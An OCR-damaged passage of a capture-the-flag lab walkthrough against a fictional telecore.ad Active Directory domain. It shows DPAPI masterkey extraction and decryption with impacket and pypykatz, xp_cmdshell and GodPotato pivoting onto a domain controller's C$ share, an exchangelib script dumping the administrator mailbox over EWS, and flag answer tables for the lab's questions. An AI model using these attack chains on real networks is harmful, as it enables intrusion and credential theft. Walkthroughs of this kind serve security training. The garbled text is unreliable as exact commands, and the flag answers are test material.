[*] DPAPI _SYSTEM

dpapi _nmachi nekey: 0x9ccc2c0225a544d8d2f 696a0f bc24f 546133ae92
dpapi _user key: 0x4d34160e733c9db38d9ec69c29d6493de3c92601

1=

= o 2 DRAR—d 3 127
[EALES orhRe—orAr—ae ey Pt efi—€enath

# Get masterkey file via SMB (local admin can read it)
i npacket - snbcl i ent hacker: P@sw0rd123! @0. 5. 2. 10

# use C$

# cd W ndows\ SystenB2\ M crosoft\Protect\S-1-5-18

# get a65f4c39-006c-4557-9801- 2805d29ec0c9

# Decrypt nasterkey with pypykatz
pypykat z dpapi prekey shal S-1-5-18 9ccc2c0225a544d8d2f 696a0f bc24f 546133ae92 -0 prekeys. t xt
pypykat z dpapi nasterkey a65f4c39-... prekeys.txt -o nmsterkey.txt

# mast erkey: 94a90b2d2cd73e228c¢34202265c7f dd3f 80bdf ab3cc896. . .

# Convert blob to hex and decrypt
python3 -c "inport base64; open('blob.bin'," wh').wite(base64. b64decode(' AQAAANC..."))"
pypykatz dpapi bl ob masterkey.txt $(python3 -c "print(open('blob.bin","'rb").read().hex())")

= QUTPUT

HEX: 54336c40436f 6d2331

# Decode hex to ASCl |

python3 -c "print(bytes.fronmhex('54336c40436f 6d2331' ). decode())"
T3l @om#l << DECRYPTED!

Servi ce account creds from DPAPI

Q5 tel _admi n01 : T3l @om#l

decryption

of fli ne

[ CLASSIFIED | I NTERNAL USE ONLY | DO NOT DI STRI BUTE ]
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>> ADRTS LAB WALKTHROUGH — Cal mAy

[ PAGE 24 ]

[ STEP 08 ]| DC Filesystemvia SQ Pivot —Schedul ed Task Scri pt

F

ot

# Search schedul ed tasks for Exchange/ops rel ated tasks
C\...\gp.exe -cnd "cnd /c dir \\10.5. 2.2\ C$\ W ndows\ Syst enB2\ Tasks\ /s"

# Mount DC C$ from SQL- SRV as Donmain Admin (via GodPotato for SYSTEM token)
C\...\gp.exe -cnd "cnd /c net use \\10.5.2.2\C$ /user:tel ecore\adni nistrator August1990password"

= OUTPUT

\\10. 5. 2. 2\ C$\ W ndows\ Syst enB2\ Tasks\ Exchange Mai | Box Programmatic Access

C\...\Temp\task. xm "";

# Copy task file (spaces in name —use wil dcard)
EXEC xp_cndshell 'C\...\gp.exe -cnd "cnd /c copy \\10.5. 2. 2\ C$\ W ndows\ Syst enB2\ Tasks\ Exchange*

EXEC xp_cndshel | "type C\...\Tenp\task.xm";

= OQUTPUT

<Aut hor >TELECORE\ Adni ni st r at or </ Aut hor >
<URI >\ Exchange Mai | Box Programmatic Access</ URl >
<Command>C: \ User s\ Adni ni st r at or\ Downl oads\ i nper sonat e. ps1</ Comrand>

FEXE 3 7T
[EAES e Sefate—pPST

# Read the Power Shell script

EXEC xp_cndshell "C\...\gp.exe -cnd "cnd /c type
\\ 10. 5. 2. 2\ C$\ User s\ Adni ni st rat or\ Downl oads\ i nper sonat e. ps1"';

= OUTPUT

$Usernane = "tel _opsl@el ecore. ad"
$Password = " T3l @Net #2"

$LogPath = "C:\Logs\M gration\"
$Tenant Domein = "tel ecore. ad"

# Script connects to Exchange with Applicationl mpersonation role
# Accesses adninistrator@el ecore. ad mai | box

Q7 T3l @\et #2

tel _opsl password frominpersonate. psl on DC

(00]:] C:.\ Logs\ M grati on\

LogPat h vari abl e val ue in inpersonate. psil

[ STEP 09 ] Exchange

EWS Access & Full

Mai | box Dunp

[ CLASSIFIED | I NTERNAL USE ONLY | DO NOT DI STRI BUTE ]
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>> ADRTS LAB WALKTHROUGH — Cal mAy

[ PAGE 25 ]

# Di scover

curl
# Response header: X-FEServer: EX-SRV | Port:
# Add to /etc/hosts

echo "10.5.2.16 ex-srv.tel ecore.ad EX-SRV' |

# Connect via exchangelib

Exchange server —confirm port and endpoi nt
-k --ntIm-u "tel ecore\adm ni strator: August 1990password" https://ex-srv.tel ecore. ad/ EWS/ Exchange. asnx
444 (not 443!)

sudo tee -a /etc/hosts

pip install exchangelib --break-system packages
|— [ EXEC] Read—adni-ni-strator—neiltb Ve Rareet

from exchangelib inport DELEGATE, Account,

config = Configuration(

credenti al s=creds, auth_type=NTLM
ver si on=Ver si on(Bui | d(15, 1, 2507, 9))
)

aut odi scover =Fal se, access_t ype=DELEGATE)

# Read Sent folder (nost interesting)
for
print(f' Subject:

print(f'Body: {itemtext_body[:1000]}")

{item subject}")

Credenti al s,

creds = Credential s('telecore\\\\adm nistrator',

account = Account (' adm nistrator@el ecore. ad',

Configuration, NTLM Build, Version

" August 1990passwor d' )

servi ce_endpoi nt =" https://ex-srv.tel ecore. ad: 444/ EWS/ Exchange. asnx' ,

config=config,

itemin account.sent.all().order_by('-datetine_received )[:15]:

= OQUTPUT
=== SENT ===
Subj ect: Urgent: New FTP Credentials for
Body: H Team

mar ket i ng canpai gn.
Server: ftp.globalblast.tel ecore. ad
Port: 22

User name: nkt_canpai gn_user
Password: $Mkt _Q obal @024!

Pat h: /incom ng/assets/

Connection string for

asset dat abase:

Ui d=db_nkt ; Pmd=Mbsql DBpass123;

=== DRAFTS ===

Subj ect: PROD DB Credentials —sql prod-01
Body: PROD Dat abase password: Sql Bll1ing@024!

Mar keti ng Canpai gn Server

As requested, we've provisioned the new FTP server for the upconm ng "d obal Bl ast"
Pl ease use the credentials below to upload all

assets.

Driver={SQL Server}; Server=sql 01. tel ecore. ad; Dat abase=d obal Bl ast _Assets;

Subj ect: Core Router Admi n Access
Body: Usernane: netadmi n_jnpr
. . . Exchange rights granted to tel _opsl over admn
Q9 Appl i cati onl nper sonati on : b J g -
mai | box
. PROD DB sql prod-01 password from adm n nmail box
QL0 Sql Bll | i ng@024! o .
draft
Q1 net adm n_j npr Core Router Adnin usernane from admin mail box
Mar keti ng Canpai gn Server name from admin
Q2 G obal Bl ast : o e
mai | box sent itens
[ CLASSIFIED | | NTERNAL USE ONLY | DO NOT DI STRI BUTE ] tel ecore.ad | 2026



>> ADRTS LAB WALKTHROUGH — Cal mdy [ PAGE 26 ]

PATH 02 COVPLETE —Aut henti cated adversary chain: LFl - wel
DPAPI - secretsdunp - offline decrypt — DC filesystem piv

dunp.

[ CLASSIFIED | I NTERNAL USE ONLY | DO NOT DI STRI BUTE ] tel ecore.ad | 2026



>> ADRTS LAB WALKTHROUGH — Cal mAy

[ PAGE 27 ]

mm FLAG BOARD :: ALL

FLAGS CAPTURED

cam 2y camzy
1 =t

Corpi-et T=F 3 T ASWeF ra B B
—et S+t —arr—ahRSwWwerS—ae+oS5—1©9 —pathS

NRY

S

/| A |

# Answer

PKI - Srv. tel ecore. ad

10.5.2.111

Q3 W ndows Server 2016

Q5  #T3l 3phon3!

Q6 e2b1996aaf f 0Of 57bcch916265a77970e

Q7 t el ecor e- PKI - SRV- CA

Q8 S-1-5-21-1588247407-410625039- 1511794522

bf b19bca32a6aab8e0b9a836da860e32

(0iK0] August 1990passwor d

Q1 l'inux / Vaul t Adm n@23

Q2 ad_red_t eam speci al i st

Question / Context
ADCS CA FQDN (VI EWBTATEGENERATOR for Part2 QL value is from Part=——

ESXi hypervi sor |P address

SQL- SRV operating system

Nunber of open ports identified

tel _support0l password (cracked AS-REP hash)

tel _engi neer01 NT hash (LSASS dunp)

Certificate Authority name

Donmai n SI D

Admi ni strator NT hash (Certipy PKINT)

Admi ni strator plaintext (john + rockyou)

Vaul t VM guest credentials (VM annot ati on)

Fl ag content (/hone/linux/Congrats.txt)

i

ANRY
/| A |

# Answer

Q1 CA0B0334

report

Wéb- Srv

Q4 1'1'S AppPool \ r oot
Q5 tel _admi n01 : T3| @on¥#l
HKLM SOFTWARE\ Tel ecomApp

Q7 T3l @et #2

Q8 C:\ Logs\ M gration\

IO
2

Appl i cationl npersonation

Sql B1l | i ng@024!

QL1 net admi n_j npr

QL2 d obal Bl ast

Question / Context

VI ENSTATEGENERATOR hi dden fiel d

LFl vul nerabl e paraneter nane

I1'S server machi ne nane

Shell running as (app pool identity)

Decoded credentials from DPAPI bl ob
Regi stry |l ocation of Tel ecomApp key
tel _opsl password frominpersonate. psl

LogPat h in inpersonate.psl

Exchange rights for tel _opsl over adm n mail box

PROD dat abase sql prod-01 password

Core Router Adnmin usernane

Mar ket i ng Canpai gn Server nane

mm ATTACK CHAI N DI AGRAMS

[ CLASSI FIED | INTERNAL USE ONLY | DO NOT DI STRI BUTE ]
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>> ADRTS LAB WALKTHROUGH — Cal mAy

[ PAGE 28 ]

|‘H|H”| |mHE|\n|nnun_uu
NEOA T

AS- REP Roast >3 m: >

GodPotato S>> SYSTEM

(No creds)

TP iy
Xp_cnusnell

Sel-npersonate—————— consvcs dunp

Vaul t VM Fl ag zZ

ESXi

\ /s
pyvnom r<r<

Certipy ESCI——<< | SASS parse

Congrats. txt

"
VM-annot-at-i-ons

= 1
DA-hash—+crack

i
pypykatz

LFI web. confiq Vi-ewStat e RCE 1S Shell
report param val-i-dati-onKey ysoserial-.net iis apppool\root
Mai | box Dunp Exchange BEWs DA-(-ADCS—-agai-n) DPAPI—Decrypt

Al flags! i-mpersonati-on telecore—adnin T3 @on#tl

>> M SSI ON STATUS: COWPLETE <<
Both attack paths executed. All
i ndependent chai ns. ESXi

Handl e: Cal mdy | Domai n:

Lab: ADRTS |

tel ecore. ad

24 flags captured. Donmin Adm ni strator conprom sed via two
hypervi sor fully owned. Exchange nmmil box exfiltrated.

[ CLASSIFIED | I NTERNAL USE ONLY | DO NOT DI STRI BUTE ]
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